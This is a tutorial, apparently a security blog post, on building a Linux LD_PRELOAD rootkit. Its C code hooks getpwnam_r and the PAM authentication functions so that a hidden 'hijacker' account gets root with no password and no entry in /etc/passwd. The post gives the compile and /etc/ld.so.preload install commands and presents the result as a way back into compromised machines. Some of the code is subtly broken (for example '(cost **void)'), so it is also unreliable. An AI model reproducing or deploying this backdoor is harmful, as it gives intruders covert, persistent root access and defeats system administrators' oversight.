Bypassing /etc/passwd via Backdoor

Please Note: This is a backdoor. You should already have root access to the machine. This is to help backdoor it so you can get back into this system.

My Goal:

Anyone familiar with linux rootkits should know what I’m talking about. When you backdoor a rooted linux system, you expect to be able to gain access again. You can add a user by using adduser, but that leaves the user in /etc/passwd that the sysadmin can easily remove. I want to essentially add a new user without adding it to /etc/passwd or /etc/shadow or creating a home directory AND I want to do this all as with root access without having to type in a password. The best way to do this is hijack the function(s) that parse /etc/passwd and add an exception and simply authenticate the root account information with a different name.

In laymens terms, running:
su – root
Will log in as root and will require a password. However, if we hook those functions, we can force anything like:

su – hijacker
Then the functions we create will have an exception that will allow a user (that doesn’t actually exist) to log in with root access from an unpriv’d account. Obviously this requires us to have root access at some point, but it’s a great backdoor.

My Methodology:

We want to watch the library calls that occur when logging into various accounts. I’m going to use ltrace, but I need to give it SUID so I can run it as an unprivileged user but still trace the root login library calls.

chmod 4755 /usr/bin/ltrace

Running:

ltrace -o trace.txt su –

This simply writes the ltrace output from su – (root login).

Now, among all of the expected calls like memset, strcmp, malloc, fgets, free, etc… there are some lib calls that are pertinent in the linux login process.

Some of the major ones are:
Note: When I say “for dlsym”, I just mean that I’m casting a static pointer as a function that will later be used with dlsym to point to the original function.

  • getpwnam_r

int getpwnam_r(const char *name, struct passwd *pwd, char *buf, size_t buflen, struct passwd **result);

for dlsym:

static int (*old_getpwnam_r)(const char*, struct passwd*, char*, size_t, struct passwd**);
old_getpwnam_r = dlsym(RTLD_NEXT, “getpwnam_r”);

  • pam_authenticate

    int pam_authenticate(pam_handle_t *pamh, int flags);

    for dlsym:

    static int (*old_pam_authenticate)(pam_handle_t*, int);
    old_pam_authenticate = dlsym(RTLD_NEXT, “pam_authenticate”);

    >

  • pam_acct_mgmt

int pam_acct_mgmt(pam_handle_t*, int flags);

for dlsym:

static int (*old_pam_acct_mgmt)(pam_handle_t*, int);
old_pam_acct_mgmt = dlsym(RTLD_NEXT, “pam_acct_mgmt”)

Ok now, Let’s look at these one by one. We can look in the trace.txt file from the ltrace output.

Basic C File Foundation

Note: by default, some of the PAM files may be missing. The precompiled libraries come with the OS, but you may not have the developer files to reference. These are NOT NEEDED on the victim machine, but they are for you! You can get them here: https://packages.debian.org/wheezy/libpam0g-dev or by adding the repo in /etc/apt/sources.list and running “apt-get update && apt-get install libpam0g-dev -y” if you’re on debian.

This is going to be the start of the C file. Based on the man pages of the aforementioned functions, I’ve written the basic C file we’re going to use here:

#define _GNU_SOURCE
#include
#include
#include #include #include <security/pam_appl.h>
#include <security/pam_modules.h>
#include

#define HIJACK_LOGIN “hijacker” /* Desired Invisible User */

static int (*old_pam_authenticate)(pam_handle_t*, int);
static int (*old_getpwnam_r)(const char*, struct passwd*, char*, size_t, struct passwd**);
static int (*old_pam_acct_mgmt)(pam_handle_t*, int);
static char *hijacker = NULL, *r00t = NULL;

void init(){
if(!hijacker || strcmp(hijacker, “”) || hijacker == NULL) /* LOL 3 ways of checking… */
hijacker = strdup(HIJACK_LOGIN); //declare dynamically on heap to call later…
if(!r00t || strcmp(r00t, “”) || r00t == NULL)
r00t = strdup(“root”); //declare dynamically on heap to call later…
if(!old_pam_authenticate)
old_pam_authenticate = dlsym(RTLD_NEXT, “pam_authenticate”);
if(!old_getpwnam_r)
old_getpwnam_r = dlsym(RTLD_NEXT, “getpwnam_r”);
if(!old_pam_acct_mgmt)
old_pam_acct_mgmt = dlsym(RTLD_NEXT, “pam_acct_mgmt”);
}

This contains the 3 functions we’re going to use (we’ll derive these in a second)

Inspecting the LTRACE Output

Here is the first thing I noticed about 10 lines down:

getuid()      = 1001
malloc(48)      = 0x008dd250
realloc(NULL, 256)      = 0x008dd290
__errno_location()      = 0x7f2ee5dac6a8
getpwnam_r(0x7f2ee5794100, 0x8dd250, 0x8dd290, 256, 0x7fffcf3a20f8) = 0

getpwnam_r

 

int getpwnam_r(const char *name, struct passwd *pwd, char *buf, size_t buflen, struct passwd **result);

Looking at the MAN page or getpwnam_r, we can assume that the malloc() call was for a passwd struct.

Let’s look at this passwd struct which can be found in the man pages and/or by a simple google search as well as in the developer source files:

struct passwd {
char   *pw_name;      /* username */
char   *pw_passwd;     /* user password */
uid_t   pw_uid;      /* user ID */
gid_t   pw_gid;      /* group ID */
char   *pw_gecos;      /* user information */
char   *pw_dir;      /* home directory */
char   *pw_shell;      /* shell program */
};

Okay, so, let’s rewrite this function and set the “gid_t” to root (0). This is necessarily required, but let’s try it out anyways, just to be safe.

int getpwnam_r(const char *name, struct passwd *pwd, char *buf, size_t buflen, struct passwd **result){
init();      // call initialization file
if(strstr(name, hijacker)){     // check if the username passed through is the HIJACK_LOGIN
pwd -> pw_gid = 0;      // set group ID to root ( 0 )
return old_getpwnam_r(r00t, pwd, buf, buflen, result);
// set root GID and use the root accounts name in “r00t” static char*
}
else
return old_getpwnam_r(name, pwd, buf, buflen, result);
// if it was not our username, return the legitimate success/error
}

Okay, great! We can actually run this from a root accoutn, but we will get an “authentication error”. Because we’re root, it doesn’t matter, but this will NOT work from a normal account.

When we try this from a standard user account, it will not work. It will request a password. This is where PAM Authentication comes in.

<h4pam_authenticate

int pam_authenticate(pam_handle_t *pamh, int flags);

We look at the man 3 pam_authenticate page and we see some vital information.
The name of the authenticated user will be present in the PAM item PAM_USER. This item may be recovered with a call to pam_get_item(3).

okay.. more work. Basically, since the username isn’t transferred in plain text, we need to use another function called “pam_get_item” to get the item PAM_USER. Shouldn’t be too hard.

If you’re still reading this tutorial, first off, thank you so much, secondly, I trust you can find the “pam_get_item” man page easily by now 🙂

I created a “pamuser” variable that will be cast as a void pointer-pointer and then compared to our HIJACK_LOGIN.
Again, the MAN pages dictate the success messages so we return “PAM_SUCCESS” (which is 0 if you look in the pam_types.h or other pam dev files). We return this regardless of flags or other parameters in the pam_handle_t struct. This gives the illusion our PAM authentication key was verified.

int pam_authenticate(pam_handle_t *pamh, int flags){
void *pamuser = NULL;      // populated in pam_get_item
pam_get_item(pamh, PAM_USER,(cost **void)&pamuser);
// Gets the username parameter passed
if(strstr(pamuser, hijacker))
return PAM_SUCCESS;     // If the user passed is HIJACK_LOGIN, return success message
return old_pam_authenticate(pamh, flags);
// otherwise, return the legitimate success/error
}

Testing and running it shows the following:

eulo@syntexsecurity:~$ su –
Password:
su: Authentication failure
eulo@syntexsecurity:~$ su – hijacker
su: Authentication failure

Notice that it asks for a password for the root account, but not for hijacker. This is good. however, we’re still getting a Authentication Failure because pam_acct_mgmt is the function that verifies our account’s validity. We need to also return a success messages here to become fully “Authenticated”.
At least now it’s not asking for a password!

Also, we get a segment overflow when running the login command from root.

pam_acct_mgmt

int pam_acct_mgmt(pam_handle_t *pamh, int flags);

This is an identical set to that of the previous function. It even has the same return type. We are also still going to have to use pam_get_item to view the username.

I literally copied/pasted the code from the last function here and changed the names to “acc_mgmt” vs “authenticate”.

 

int pam_acct_mgmt(pam_handle_t *pamh, int flags){
void *pamuser = NULL;      // populated in pam_get_item
pam_get_item(pamh, PAM_USER,(cost **void)&pamuser);
// Gets the username parameter passed
if(strstr(pamuser, hijacker))
return PAM_SUCCESS;     // If the user passed is HIJACK_LOGIN, return success message
return old_pam_acct_mgmt(pamh, flags);
// otherwise, return the legitimate success/error
}

Testing it Out and How It Works:

https://syntexsecurity.co.uk/LinuxBypass.c

From A ROOT Account
First, compile it as a shared library with GCC. Then add it to ld.so.preload.

You can do this with these following commands:
gcc -shared -fpic -o ./bypass.so main.c -ldl
echo “`pwd`/bypass.so” > /etc/ld.so.preload

From An UNPRIVILEGED Account:
su – hijacker

eulo@syntexsecurity:~$ su –
Password:
su: Authentication failure
eulo@syntexsecurity:~$ cat /etc/passwd | grep hijacker
eulo@syntexsecurity:~$
eulo@syntexsecurity:~$ su – hijacker
eulo@syntexsecurity:~$ whoami
root
eulo@syntexsecurity:~$